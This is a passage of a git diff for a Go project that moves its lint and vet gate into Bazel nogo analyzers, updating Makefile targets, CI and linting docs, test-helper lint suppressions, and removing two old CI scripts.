"40c97d1144356f52905566c55811f13b299453a14ac7769dfba2ac38192337a8", - "https://bcr.bazel.build/modules/rules_go/0.41.0/MODULE.bazel": "55861d8e8bb0e62cbd2896f60ff303f62ffcb0eddb74ecb0e5c0cbe36fc292c8", - "https://bcr.bazel.build/modules/rules_go/0.42.0/MODULE.bazel": "8cfa875b9aa8c6fce2b2e5925e73c1388173ea3c32a0db4d2b4804b453c14270", - "https://bcr.bazel.build/modules/rules_go/0.46.0/MODULE.bazel": "3477df8bdcc49e698b9d25f734c4f3a9f5931ff34ee48a2c662be168f5f2d3fd", - "https://bcr.bazel.build/modules/rules_go/0.59.0/MODULE.bazel": "b7e43e7414a3139a7547d1b4909b29085fbe5182b6c58cbe1ed4c6272815aeae", "https://bcr.bazel.build/modules/rules_go/0.63.0/MODULE.bazel": "a2079e783a5d2715a90e6e2970ec8ffd717a487ff2aecb5f553e3975c5294a21", "https://bcr.bazel.build/modules/rules_go/0.63.0/source.json": "5bf37b45c440ac03abad0cbfa8b8b8dd89cc4e82bc8305f468b8436fa58bae78", "https://bcr.bazel.build/modules/rules_java/4.0.0/MODULE.bazel": "5a78a7ae82cd1a33cef56dc578c7d2a46ed0dca12643ee45edbb8417899e6f74", diff --git a/Makefile b/Makefile index 24b375ea2..9797f1555 100644 --- a/Makefile +++ b/Makefile @@ -44,6 +44,7 @@ endif endif .PHONY: all build doctor-build test test-icu-path test-full-cgo test-regression test-upgrade test-cross-version test-migration corpus-regen githooks-regen bench bench-quick clean clean-test-tmp install install-force help check-up-to-date fmt fmt-check check-testing-short +.PHONY: lint lint-changed vet .PHONY: ci-pr-core ci-pr-policy ci-pr-lint ci-complexity ci-complexity-diff ci-complexity-check ci-package-mcp ci-package-npm .PHONY: api-gen api-check .PHONY: bazel-sync bazel-sync-check @@ -197,9 +198,49 @@ ci-pr-core: ci-pr-policy: @./scripts/ci/pr-policy.sh +# Lint and vet are nogo (//tools/nogo): go test's vet checks plus the +# golangci-lint linters .golangci.yml enables, validated beside every Go +# compile, so any `bazel build`/`bazel test` (local or on rbe-west) fails on a +# finding. These targets ask Bazel for the analysis alone (.bazelrc's +# --config=nogo; nothing is linked). ci-pr-lint: @./scripts/ci/pr-lint.sh +# The CI lint gate: native, plus //tools/bazel:release_cross for windows/amd64 +# and darwin/arm64 (BD_LINT_TARGETS selects; scripts/pr-lint). +lint: ci-pr-lint + +# go test's vet checks run inside nogo; same as lint. +vet: lint + +# nogo over the Bazel packages of changed Go files, natively (the pre-commit +# hook's lint). LINT_CHANGED_SCOPE: staged, or worktree (changed against +# LINT_CHANGED_REF, staged, and untracked). +LINT_CHANGED_SCOPE ?= worktree +LINT_CHANGED_REF ?= HEAD +lint-changed: + @case "$(LINT_CHANGED_SCOPE)" in \ + staged) files="$$(git diff --cached --name-only --diff-filter=ACMRT -- '*.go')" ;; \ + worktree) files="$$( \ + git diff --name-only --diff-filter=ACMRT "$(LINT_CHANGED_REF)" -- '*.go'; \ + git diff --cached --name-only --diff-filter=ACMRT -- '*.go'; \ + git ls-files --others --exclude-standard -- '*.go')" ;; \ + *) echo "unknown LINT_CHANGED_SCOPE=$(LINT_CHANGED_SCOPE); expected staged or worktree" >&2; exit 2 ;; \ + esac; \ + packages=""; missing=""; \ + for file in $$files; do \ + dir="$$(dirname "$$file")"; \ + case "/$$dir/" in */testdata/*) continue ;; esac; \ + if [ -f "$$dir/BUILD.bazel" ]; then packages="$$packages //$${dir#.}:all"; else missing="$$missing $$dir"; fi; \ + done; \ + if [ -n "$$missing" ]; then \ + echo "lint-changed: no BUILD.bazel in$$missing; run 'make bazel-sync'" >&2; exit 1; \ + fi; \ + packages="$$(printf '%s\n' $$packages | sort -u | sed 's#^///#//#; s#^//\.:#//:#')"; \ + if [ -z "$$packages" ]; then echo "lint-changed: no changed Go packages"; exit 0; fi; \ + echo "lint-changed:" $$packages; \ + $(BAZEL) build --config=nogo -- $$packages + # Opt-in architecture experiment. Install gocyclo v0.6.0 first; # report is advisory while check exercises the local baseline guard. ci-complexity: @@ -462,7 +503,9 @@ help: @echo " make test-full-cgo - Deprecated alias for make test-icu-path" @echo " make ci-pr-core - Run required PR core Go test wrapper" @echo " make ci-pr-policy - Run required PR policy wrapper" - @echo " make ci-pr-lint - Run required PR formatting and lint wrapper" + @echo " make ci-pr-lint - Run the required lint gate: nogo (vet + golangci-lint's linters) under Bazel, native + windows/darwin" + @echo " make lint - Same as ci-pr-lint (make vet too)" + @echo " make lint-changed - nogo over the Bazel packages of changed Go files (LINT_CHANGED_SCOPE=staged|worktree)" @echo " make ci-complexity - Report production cyclomatic complexity (advisory)" @echo " make ci-complexity-diff - Compare complexity with COMPLEXITY_BASE_REF" @echo " make ci-complexity-check - Check complexity against the local baseline" diff --git a/cmd/bd/preflight.go b/cmd/bd/preflight.go index 848bf855c..03cd168be 100644 --- a/cmd/bd/preflight.go +++ b/cmd/bd/preflight.go @@ -378,9 +378,10 @@ func runLintCheckAt(root string, skipLint bool) CheckResult { cmd.Dir = invocation.dir // CombinedOutput collects through a pipe that every descendant inherits, so // killing the direct child on deadline does not close the write end while a - // golangci-lint grandchild still holds it. Without a WaitDelay the deadline - // therefore cannot bound this call at all, and the message appended below - // never prints in the one case it exists to report. + // linter grandchild (golangci-lint, or bazel under the Beads driver) still + // holds it. Without a WaitDelay the deadline therefore cannot bound this + // call at all, and the message appended below never prints in the one case + // it exists to report. cmd.WaitDelay = lintCancellationGrace output, err := cmd.CombinedOutput() // Report the deadline only when it actually decided the result: a child that diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index d78878efc..44771b99c 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -657,7 +657,6 @@ Do not require these existing check names directly: - `Test (Server Dolt Conformance)` - `Test (Server Dolt Full Suite 1/16)` through `Test (Server Dolt Full Suite 16/16)` - `Test (Windows - smoke)` -- `PR Lint (native)`, `PR Lint (windows)` and `PR Lint (darwin)` - `Test Nix Flake` - `Bazel / test` and the other jobs of `bazel.yml` - `Bazel Farm / *` (`bazel-farm.yml`'s advisory, PR-controlled results) @@ -929,12 +928,14 @@ manifests. On those PRs they are the tiers' only pre-merge run, and `//tools/bazel:pure_bd_has_no_cgo_only_deps` (a pure bd must not link gozstd, which `go build` rejects with cgo off). Same cgo-off boundary as the job it replaces. - - Also kept on every PR, in the required job `scripts-go-checks` - (`SCRIPTS_GO_CHECKS`, one leg, `Go checks (vet)`): `go test`'s own vet - checks (cmd/go's `defaultVetFlags`, policy-tested equal to the - toolchain's) over `./...` (`scripts/ci/go-test-vet.sh`): rules_go's - `go_test` runs no vet, so a `go test` vet finding would otherwise first - fail on `main` and then on every fork PR. + - `go test`'s own vet checks (cmd/go's `defaultVetFlags`, policy-tested + equal to the toolchain's) and the golangci-lint linters `.golangci.yml` + enables run as nogo (`//tools/nogo`) beside every compile of every Bazel + lane: natively in `bazel test //... --config=ci`, and for every release + platform in the `bazel-pure` lane's release cross-compile + (engdocs/LINTING.md). The former + `scripts-go-checks` (`Go checks (vet)`) and `pr-lint-wrapper` + (`PR Lint (native|windows|darwin)`) jobs are retired. - The repository policy tests (`./scripts/...`, including the D2 guards) and the tests that walk the checkout run only under Bazel, remotely: `//scripts:scripts_test` and `//test/docsync:docsync_test` take @@ -1528,8 +1529,7 @@ check read. Non-Bazel required jobs re-run in full on every merge group (approximate PR timings, 2026-10): `fast-checks` (~40 s), `pr-policy-wrapper` -(~2.5 min), `scripts-go-checks` (vet only), `pr-lint-wrapper` -(native/darwin/windows, up to ~4 min), `check-doc-flags` (~1.7 min), +(~2.5 min), `check-doc-flags` (~1.7 min), `check-doc-freshness-platforms` and `pr-preflight-platforms` (Linux, Windows and macOS legs, up to ~5 min on Windows), `windows-make-shell` (~2.7 min), diff --git a/engdocs/DOC_INVENTORY.md b/engdocs/DOC_INVENTORY.md index 02ec666e1..9735f1a55 100644 --- a/engdocs/DOC_INVENTORY.md +++ b/engdocs/DOC_INVENTORY.md @@ -35,7 +35,7 @@ freshness source. | `reference/json-schema.md` | `Last reviewed:` marker tied to `cmd/bd/output.go`, `cmd/bd/errors.go`, and protocol tests. (Mintlify port: was `JSON_SCHEMA.md`.) | | `recovery/init-safety.md` | `Last reviewed:` marker tied to `cmd/bd/init*.go` safety code and tests. (Mintlify port: was `RECOVERY.md`.) | | `ERROR_HANDLING.md` | `Last reviewed:` marker tied to current command error exits and JSON error helpers. | -| `LINTING.md` | `Last reviewed:` marker tied to `.golangci.yml`, `scripts/ci/pr-lint.sh`, `scripts/pr-lint/`, the `Makefile` wrapper, and CI workflow wiring. | +| `LINTING.md` | `Last reviewed:` marker tied to `.golangci.yml`, `tools/nogo/`, `scripts/ci/pr-lint.sh`, `scripts/pr-lint/`, the `Makefile` wrapper, and CI workflow wiring. | | `SERVE_RUNBOOK.md` | `Last reviewed:` marker tied to the operating-envelope constants in `internal/httpapi/server.go` and the log fields in its `event`/`request` emitters. | | `CI_CLEANUP_PLAN.md` | `Last reviewed:` marker tied to the CI audit, workflow files, wrapper scripts, `Makefile`, package manifests, and maintainer decision review. | | `design/otel/otel-data-model.md` | `Last reviewed:` marker tied to telemetry, Dolt storage, hooks, and AI call sites. | diff --git a/engdocs/LINTING.md b/engdocs/LINTING.md index 6b446e73b..15a8c4bdf 100644 --- a/engdocs/LINTING.md +++ b/engdocs/LINTING.md @@ -1,99 +1,88 @@ # Linting Policy -Last reviewed: 2026-10-03 +Last reviewed: 2026-10-07 -Freshness source: `.golangci.yml`, `scripts/ci/pr-lint.sh`, `scripts/pr-lint/`, -`Makefile`, `.github/workflows/pr.yml`, and `.github/workflows/main.yml`. +Freshness source: `.golangci.yml`, `tools/nogo/`, `scripts/ci/pr-lint.sh`, +`scripts/pr-lint/`, `Makefile`, `.github/workflows/pr.yml`, and +`.github/workflows/main.yml`. -This document explains the required Go lint gate for this codebase. +This document explains the required Go lint and vet gate for this codebase. ## Current Status -Lint is a required CI gate: ONE job per lane (`pr-lint-wrapper`), over the same -pinned golangci-lint v2.10.1 release and the same `.golangci.yml`. Each lane -must pass with zero issues in its own scope. +Lint and vet run as **nogo** (`//tools/nogo`) inside the Bazel build. rules_go +runs the analyzers beside every first-party Go compile, so any `bazel build` +or `bazel test`, locally or on rbe-west, fails on a finding. The analyzers are: -- **The PR lane reports only what the PR introduces.** `pr-lint-wrapper` runs - the repository-owned `ci-pr-lint` wrapper with `BD_LINT_NEW_FROM_MERGE_BASE` - set to the diff against the merge base with `main`. A finding in code the PR - did not touch does not block it. "New" is measured off the diff, so MOVED - CODE READS AS NEW: a pre-existing violation carried into a PR by a move or a - rename is reported against that PR and blocks it. Fix it or `//nolint` it - there — that is the accepted cost of the diff-scoped trade. -- **The main lane sweeps the whole tree.** The same job runs on every push to - `main` with `BD_LINT_NEW_FROM_MERGE_BASE` unset, so a finding that lands - there reds main's own run rather than every open PR. +- **go test's vet checks**: the passes cmd/go's `defaultVetFlags` give + `go test` (`atomic`, `bools`, `buildtag`, `directive`, `errorsas`, + `ifaceassert`, `nilfunc`, `printf`, `slog`, `stringintconv`, `tests`). They + see every file, tests included, as the former `go vet ./...` did. +- **The golangci-lint linters `.golangci.yml` enables** (depguard, errcheck, + forbidigo, gosec, misspell, sloglint, unconvert, unparam), each a thin + wrapper in `tools/nogo/analyzers/` over the same library version + golangci-lint v2.10.1 uses. -`pr-lint-wrapper` is a 3-leg matrix, `matrix.target: [native, windows, darwin]` -(`fail-fast: false`), one leg per `scripts/pr-lint` pass (see below); the gate -requires the matrix's aggregate result under the same `PR_LINT_WRAPPER` id as -before. A former separate `Lint` job (the `golangci-lint-action` with -`only-new-issues`) was functionally identical to this matrix's native leg -(same binary, config, flags and diff scope) and was folded into it; see #5629. +`.golangci.yml` is still the one place lint policy lives. Bazel embeds it into +the analyzers, and `tools/nogo/internal/golangci` applies it as golangci-lint +did: which linters are enabled, their settings, `run.tests: false` (only the +library compile unit of a package is linted, never its test unit), +generated-file handling, and the path/text exclusion rules. Decoding is +strict: a key the wrappers do not implement fails the build instead of being +ignored. `//nolint:` directives keep working; a rules_go patch +(`third_party/patches/rules_go_nogo_golangci_nolint.patch`, shared with +gascity) gives them golangci-lint's line ranges. -Each leg installs golangci-lint from the pinned release binary -(`scripts/ci/install-golangci-lint.sh`, sha256-verified) instead of -`go install`, and restores a per-leg cache -(`~/.cache/golangci-lint` plus a leg-specific `GOCACHE`) keyed on -`.golangci.yml`, `go.sum` and the leg. A miss on the exact content key falls -back to the leg's most recent entry; golangci-lint revalidates it against the -current config and inputs, so a stale restore cannot mask an issue. pr.yml -only ever restores; main.yml's matrix is the only saver, on an exact-key miss. +Parity with golangci-lint was proved on the whole tree: with the exclusion +rules removed, golangci-lint and nogo report the same 3,916 findings (file, +line, linter and text) natively and the same 3,859 for windows/amd64 and +darwin/arm64; with `.golangci.yml` as committed, both report none. -Run the wrapper locally with: +Where it gates: + +- **bazel.yml's `test` lane** (required through `CI Gate / Required`): + `bazel test //... --config=ci` validates every package natively. +- **bazel.yml's `pure` lane** (required): its release cross-compile + (`scripts/ci/bazel-release-cross-compile.sh`) builds + `//tools/bazel:release_cross`, every `go_library` and `go_binary` + split-transitioned to each release platform without cgo, and nogo + validates each of those compiles. So `//go:build windows`, `darwin`, + `!linux` (and freebsd, android, arm64) files are analyzed from Linux: a + superset of golangci-lint's former `GOOS=windows`/`GOOS=darwin` legs. +- **Every other Bazel lane** (integration, embedded, dolt-server) validates + what it compiles, including files only its build tags select. + +Every PR is checked against the whole tree, not only its diff: the tree has +no findings, so there is no baseline to scope against. + +Run the gate locally with: ```bash -make ci-pr-lint +make ci-pr-lint # native + windows + darwin (also: make lint, make vet) +make lint-changed # native, only the Bazel packages of changed Go files ``` -That is the MAIN lane's contract, not the PR lane's: with -`BD_LINT_NEW_FROM_MERGE_BASE` unset it sweeps the whole tree, so it is -deliberately STRICTER than the gate your PR has to clear and may report findings -you are not required to fix. Fix the ones that are yours; the PR gate is the -authority on what blocks a merge, and main's own run is where the rest is -answered. +Both need `bazel` (or `bazelisk`) on PATH. With remote execution configured +(`.bazelrc.local` or `user.bazelrc`), a warm run takes seconds: the native +pass uses the race configuration of the CI test lane, so it reuses CI's +remote cache. `--config=nogo` asks for the analysis output group alone, so +nothing is linked. -The wrapper runs: - -- the shared `scripts/ci/fmt-check.sh` formatting check; and -- the checkout-owned `scripts/pr-lint` Go driver, which runs golangci-lint with - `.golangci.yml`, readonly module downloads, a five-minute timeout, the - `gms_pure_go` build tag, and `--new-from-merge-base` when - `BD_LINT_NEW_FROM_MERGE_BASE` names a ref, then runs the same scope for the - non-CGO Windows target and the non-CGO darwin (arm64) target when the native - host does not already cover them, so `//go:build windows && !cgo` and - `//go:build darwin` files are linted from the Linux runner. - -The shell wrapper records one aggregate timing for the Go lint driver. The -driver prints a heading and result for each native or cross-target pass so -failures remain attributable without duplicating target-selection policy in -Bash. - -The shared driver owns the lint passes used by `scripts/ci/pr-lint.sh` and -Beads-source `bd preflight`. The pre-commit hook does not call it: the hook -uses changed-lines scope, adds `--fix`, and omits the Windows cross-lint pass. -The driver honors `BD_LINT_TARGETS` (a comma list of `native`, `windows` and -`darwin`; default all three) so each CI matrix leg can run just its own pass; -`make ci-pr-lint` and `bd preflight` both leave it unset and keep running all -three. - -The driver matches `.buildflags` when preparing `GOFLAGS`: appending -`-tags=gms_pure_go` can override an inherited bare-Go tags value; it does not -merge tag lists. Each lint process has a six-minute context and a five-minute -golangci-lint timeout. Cancelling preflight's outer `go run` command does not -guarantee immediate descendant cleanup. - -On Windows, the driver checks each pass's selected Go SDK and prefers its -`bin` directory only in that linter child's PATH. This avoids an extra Go -auto-selection process surviving cancellation. Discovery shares the existing -30-second probe budget; custom SDKs that cannot be verified retain the original -PATH. Toolchain requests, formatting, and lint deadlines are unchanged. This -does not guarantee cleanup of compiler descendants or fix slow package loading. +`make ci-pr-lint` runs `scripts/ci/pr-lint.sh`, which times the checkout-owned +`scripts/pr-lint` Go driver: `bazel build --config=nogo //...`, then +`//tools/bazel:release_cross` for windows/amd64 and darwin/arm64 +(`--config=nogo-cross`). The driver honors `BD_LINT_TARGETS` (a comma list of +`native`, `windows` and `darwin`; default all three), prints a heading and +result per pass, and is what Beads-source `bd preflight` runs. The pre-commit +hook (and `.pre-commit-config.yaml`) runs `make lint-changed +LINT_CHANGED_SCOPE=staged`. Formatting is not part of lint: +`//scripts/repochecks:fmt_test` gates gofmt, and the hook formats staged files +before linting them. ## Policy -Treat new lint findings as defects to fix before merge. Do not add a tolerated -failing baseline, and do not configure CI with `--issues-exit-code=0`. +Treat lint findings as defects to fix before merge. Do not add a tolerated +failing baseline. When a linter reports an intentional or false-positive pattern: @@ -102,16 +91,18 @@ When a linter reports an intentional or false-positive pattern: the comment explains why the warning is not actionable. - Keep broad linter disables as a last resort. -The current configuration already encodes accepted exclusions for intentional -patterns such as deferred cleanup errors, controlled subprocess execution, -test-fixture file reads, and documented security false positives. +To enable another golangci-lint linter, add it to `.golangci.yml`, add a +wrapper under `tools/nogo/analyzers/` (with its settings in +`tools/nogo/internal/golangci`), and list it in `tools/nogo/analyzers.bzl`; +`//tools/nogo:nogo_test` fails until the enabled list and the analyzer list +agree. ## CI Cleanup Decision -`pr-lint` stays separate from `pr-policy` and `pr-core` so failures are easy to -identify and rerun. Its repository-owned wrapper is -`scripts/ci/pr-lint.sh`, exposed as `make ci-pr-lint`; its lint policy is owned -by the shell-free `scripts/pr-lint` Go driver. +The former `PR Lint (native|windows|darwin)` and `Go checks (vet)` jobs, and +main.yml's lint and vet cache seeders, are retired: nogo runs the same checks +in the Bazel lanes on rbe-west. When the farm is switched off (bazel.yml mode +`skip`), no lane runs, so neither does lint. See [`CI_CLEANUP_PLAN.md`](CI_CLEANUP_PLAN.md) for the full CI tier policy. diff --git a/gazelle.go.work b/gazelle.go.work new file mode 100644 index 000000000..44b471a97 --- /dev/null +++ b/gazelle.go.work @@ -0,0 +1,11 @@ +// Bazel-only Go workspace: go_deps (MODULE.bazel) resolves the beads module +// and the nogo analyzers' module (tools/nogo) as one dependency graph, so the +// analyzers link against the same golang.org/x/tools as rules_go's nogo +// runner. Not named go.work on purpose: the go command never picks it up, and +// `go build`/`go list -m all` in the repository root keep seeing only go.mod. +go 1.26.5 + +use ( + . + ./tools/nogo +) diff --git a/internal/testutil/integration/diagnostics.go b/internal/testutil/integration/diagnostics.go index 136d724ec..0e0b7c73e 100644 --- a/internal/testutil/integration/diagnostics.go +++ b/internal/testutil/integration/diagnostics.go @@ -39,7 +39,7 @@ func (d *Diagnostics) CaptureOnFailure() { func (d *Diagnostics) dumpStateFiles() { for _, name := range []string{"dolt-server.pid", "dolt-server.port", "dolt-server.log"} { path := filepath.Join(d.beadsDir, name) - data, err := os.ReadFile(path) + data, err := os.ReadFile(path) //nolint:gosec // G304: a fixed state-file name under the test's own .beads dir if err != nil { d.t.Logf(" %s: not found", name) continue @@ -69,7 +69,7 @@ func (d *Diagnostics) dumpProcessList() { if pid[0] < '0' || pid[0] > '9' { continue } - cmdline, err := os.ReadFile(filepath.Join("/proc", pid, "cmdline")) + cmdline, err := os.ReadFile(filepath.Join("/proc", pid, "cmdline")) //nolint:gosec // G304: /proc//cmdline if err != nil { continue } diff --git a/internal/testutil/integration/harness.go b/internal/testutil/integration/harness.go index 03fd1607f..f6af935de 100644 --- a/internal/testutil/integration/harness.go +++ b/internal/testutil/integration/harness.go @@ -183,7 +183,7 @@ func (r *SubprocessRunner) Build(t *testing.T) string { r.buildErr = fmt.Errorf("failed to build test binary: %w\nstderr: %s\nstdout: %s", err, stderr.String(), stdout.String()) return } - if err := os.Chmod(r.testBin, 0700); err != nil { + if err := os.Chmod(r.testBin, 0700); err != nil { //nolint:gosec // G302: the test binary must be executable r.buildErr = fmt.Errorf("failed to chmod test binary: %w", err) } }) @@ -349,7 +349,7 @@ func WaitForPort(t *testing.T, host string, port int, timeout time.Duration) { // ReadPIDFile reads and parses a PID file, returning 0 if missing or corrupt. func ReadPIDFile(path string) int { - data, err := os.ReadFile(path) + data, err := os.ReadFile(path) //nolint:gosec // G304: a state file path the harness itself derived if err != nil { return 0 } @@ -362,7 +362,7 @@ func ReadPIDFile(path string) int { // ReadPortFile reads and parses a port file, returning 0 if missing or corrupt. func ReadPortFile(path string) int { - data, err := os.ReadFile(path) + data, err := os.ReadFile(path) //nolint:gosec // G304: a state file path the harness itself derived if err != nil { return 0 } diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index 443631a45..f19b1c2a6 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -42,6 +42,7 @@ go_test( "install_dolt_test.go", "managed_local_lane_test.go", "migration_corpus_bazel_test.go", + "nogo_lint_policy_test.go", "pr_lanes_bazel_coverage_test.go", "pr_preflight_test.go", "pr_risk_bazel_coverage_test.go", diff --git a/scripts/README.md b/scripts/README.md index d1969de1b..d9d99d6de 100644 --- a/scripts/README.md +++ b/scripts/README.md @@ -19,10 +19,11 @@ Each wrapper auto-detects the repository root, sources `.buildflags` when it invokes Go in the default build mode, and records per-command timing through `scripts/ci/lib/timing.sh`. -`ci-pr-lint` keeps its supported Bash/Make entrypoint but delegates native and -Windows/non-CGO target selection to the checkout-owned `scripts/pr-lint` Go -driver. This is the same shell-free lint authority used by `bd preflight` in a -Beads source checkout. +`ci-pr-lint` keeps its supported Bash/Make entrypoint but delegates to the +checkout-owned `scripts/pr-lint` Go driver, which runs nogo (`//tools/nogo`) +under Bazel natively and cross-configured for windows/amd64 and darwin/arm64 +(see [engdocs/LINTING.md](../engdocs/LINTING.md)). This is the same shell-free +lint authority used by `bd preflight` in a Beads source checkout. Broad Go test wrappers also source `scripts/ci/lib/test-env.sh`, which creates a temporary HOME/XDG/Dolt root, isolates Git global/system config, clears runtime @@ -136,7 +137,6 @@ This master script automates the **entire release process**: - Clean git working directory - All changes committed -- golangci-lint installed - Homebrew installed (for local upgrade) - Push access to gastownhall/beads diff --git a/scripts/check_doc_freshness_test.go b/scripts/check_doc_freshness_test.go index 0d33d1a5e..59e3a4bb2 100644 --- a/scripts/check_doc_freshness_test.go +++ b/scripts/check_doc_freshness_test.go @@ -25,7 +25,7 @@ var freshnessDocuments = []struct { {"docs/recovery/init-safety.md", []string{"cmd/bd/init.go", "cmd/bd/init_safety.go", "cmd/bd/init_safety_test.go", "cmd/bd/init_safety_help.go", "cmd/bd/dolt.go"}}, {"engdocs/ERROR_HANDLING.md", []string{"cmd/bd/*.go", "cmd/bd/errors.go"}}, {"engdocs/SERVE_RUNBOOK.md", []string{"internal/httpapi/server.go", "internal/httpapi/events_watch.go", "cmd/bd/serve.go", "internal/httpapi/auth.go"}}, - {"engdocs/LINTING.md", []string{".golangci.yml", "scripts/ci/pr-lint.sh", "scripts/pr-lint/", "Makefile", ".github/workflows/pr.yml", ".github/workflows/main.yml"}}, + {"engdocs/LINTING.md", []string{".golangci.yml", "tools/nogo/", "scripts/ci/pr-lint.sh", "scripts/pr-lint/", "Makefile", ".github/workflows/pr.yml", ".github/workflows/main.yml"}}, {"engdocs/CI_CLEANUP_PLAN.md", []string{"engdocs/CI_TEST_SURFACE_AUDIT.md", ".github/workflows/*.yml", ".buildflags", ".golangci.yml", "scripts/ci/pr-lint.sh", "scripts/pr-lint/", "Makefile"}}, {"engdocs/design/otel/otel-data-model.md", []string{"internal/telemetry/", "internal/storage/dolt/store.go", "internal/compact/haiku.go", "cmd/bd/find_duplicates.go", "internal/hooks/"}}, } diff --git a/scripts/ci/bazel-release-cross-compile.sh b/scripts/ci/bazel-release-cross-compile.sh index e369ff044..a1457b1cb 100755 --- a/scripts/ci/bazel-release-cross-compile.sh +++ b/scripts/ci/bazel-release-cross-compile.sh @@ -50,11 +50,13 @@ for target in "${targets[@]}"; do platforms+=("${target%/*}_${target#*/}") done -# Every Bazel package holding a Go target (less testonly targets and the -# packages of cgo-only ones) must be reached by //tools/bazel:release_cross; +# Every Bazel package holding a Go target (less testonly targets, the +# packages of cgo-only ones, and //tools/nogo, the nogo analyzers' own Go +# module, which `go build ./...` skips) must be reached by +# //tools/bazel:release_cross; # a listed label that no longer exists fails the build itself. universe='kind("go_library|go_binary", //...)' -wanted="$universe except siblings(attr(tags, \"\\bcgo-only\\b\", $universe)) except attr(testonly, 1, $universe)" +wanted="$universe except siblings(attr(tags, \"\\bcgo-only\\b\", $universe)) except attr(testonly, 1, $universe) except //tools/nogo/..." # One query at a time: they share the Bazel server. want_pkgs="$(bazel query "$wanted" --output=package | LC_ALL=C sort -u)" built_pkgs="$(bazel query 'deps(//tools/bazel:release_cross)' --output=package | LC_ALL=C sort -u)" diff --git a/scripts/ci/go-test-vet.sh b/scripts/ci/go-test-vet.sh deleted file mode 100755 index 91fbbea2a..000000000 --- a/scripts/ci/go-test-vet.sh +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env bash -# The vet checks `go test` runs on every package it tests (cmd/go's -# defaultVetFlags), over the whole module. rules_go's go_test runs none, so -# where PR Core's `go test ./...` stands down for the Bazel lane (D2 step 3) -# this is what keeps them pre-merge. pr.yml runs it on every PR -# (scripts-go-checks). scripts/pr_lanes_bazel_coverage_test.go keeps the list -# equal to the Go toolchain's. - -set -euo pipefail - -SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" -REPO_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)" - -# shellcheck source=../../.buildflags -source "$REPO_ROOT/.buildflags" -# shellcheck source=lib/timing.sh -source "$REPO_ROOT/scripts/ci/lib/timing.sh" - -cd "$REPO_ROOT" - -GO_TEST_VET_FLAGS=(-atomic -bool -buildtags -directive -errorsas -ifaceassert -nilfunc -printf -slog -stringintconv -tests) - -ci_time "go vet (go test's checks)" -- \ - go vet -tags gms_pure_go "${GO_TEST_VET_FLAGS[@]}" ./... diff --git a/scripts/ci/install-golangci-lint.sh b/scripts/ci/install-golangci-lint.sh deleted file mode 100755 index f9c0182ce..000000000 --- a/scripts/ci/install-golangci-lint.sh +++ /dev/null @@ -1,97 +0,0 @@ -#!/usr/bin/env bash -set -euo pipefail - -# Install the pinned golangci-lint release binary instead of `go install` -# (F5.2): the release tarball drops the install step from about 58s to about -# 3s, because it is a straight download-and-verify rather than a compile. -# CI-only: this script requires $RUNNER_TEMP and $GITHUB_PATH, so the local -# `.githooks/pre-commit` hook keeps using -# `go run github.com/golangci/golangci-lint/v2/cmd/golangci-lint@v2.10.1`, -# which needs no change here. `make ci-pr-lint` (scripts/pr-lint) looks up -# whatever `golangci-lint` binary is on PATH; it does not use `go run`. -# -# Keep this version and the sha256 values in sync with CONTRIBUTING.md, -# engdocs/LINTING.md, .github/workflows/pr.yml, .github/workflows/main.yml, -# .github/workflows/ci-measurements.yml and .githooks/pre-commit. Verified -# locally against the release's own golangci-lint-2.10.1-checksums.txt. -readonly version="2.10.1" -readonly max_attempts=3 -readonly retry_delay_seconds=5 - -# A case function rather than `declare -A`: associative arrays need bash 4, -# and macOS's /bin/bash 3.2 silently parses `declare -A` as an indexed array, -# so `[amd64]=` becomes an arithmetic lookup that dies under `set -u` before -# the Linux-only guard below can print its message. -sha256_for_arch() { - case "$1" in - amd64) printf '%s' "dfa775874cf0561b404a02a8f4481fc69b28091da95aa697259820d429b09c99" ;; - arm64) printf '%s' "6652b42ae02915eb2f9cb2a2e0cac99514c8eded8388d88ae3e06e1a52c00de8" ;; - esac -} - -: "${RUNNER_TEMP:?RUNNER_TEMP is required; this script is CI-only}" -: "${GITHUB_PATH:?GITHUB_PATH is required; this script is CI-only}" - -os="$(uname -s | tr '[:upper:]' '[:lower:]')" -if [[ "$os" != "linux" ]]; then - printf 'install-golangci-lint.sh only supports Linux runners, got: %s\n' "$os" >&2 - exit 1 -fi - -arch="$(uname -m)" -case "$arch" in - x86_64 | amd64) arch="amd64" ;; - aarch64 | arm64) arch="arm64" ;; - *) - printf 'Unsupported architecture for pinned golangci-lint install: %s\n' "$arch" >&2 - exit 1 - ;; -esac - -expected_sha256="$(sha256_for_arch "$arch")" -: "${expected_sha256:?no pinned sha256 for arch: $arch}" -readonly asset="golangci-lint-${version}-${os}-${arch}.tar.gz" -readonly url="https://github.com/golangci/golangci-lint/releases/download/v${version}/${asset}" - -workdir="$(mktemp -d)" -trap 'rm -rf "$workdir"' EXIT - -for ((attempt = 1; attempt <= max_attempts; attempt++)); do - # See install-dolt.sh for why the status capture can't live in the `if`. - status=0 - curl -fsSL -o "$workdir/$asset" "$url" || status=$? - if ((status == 0)); then - break - fi - if ((attempt == max_attempts)); then - printf 'Failed to download %s after %d attempts (curl exit %d).\n' "$url" "$max_attempts" "$status" >&2 - exit "$status" - fi - printf 'Failed to download %s (attempt %d/%d); retrying in %d seconds.\n' \ - "$url" "$attempt" "$max_attempts" "$retry_delay_seconds" >&2 - sleep "$retry_delay_seconds" -done - -actual_sha256="$(sha256sum "$workdir/$asset" | awk '{print $1}')" -if [[ "$actual_sha256" != "$expected_sha256" ]]; then - printf '%s sha256 mismatch: got %s, want %s\n' "$asset" "$actual_sha256" "$expected_sha256" >&2 - exit 1 -fi - -tar -xzf "$workdir/$asset" -C "$workdir" - -install_dir="$RUNNER_TEMP/golangci-lint" -mkdir -p "$install_dir" -install -m 0755 "$workdir/golangci-lint-${version}-${os}-${arch}/golangci-lint" "$install_dir/golangci-lint" - -echo "$install_dir" >> "$GITHUB_PATH" - -# Fail loudly if the extracted binary does not report the pinned version: a -# bad tarball layout would otherwise silently put a stale or wrong binary on -# PATH. Compare the version token exactly, as install-dolt.sh does. 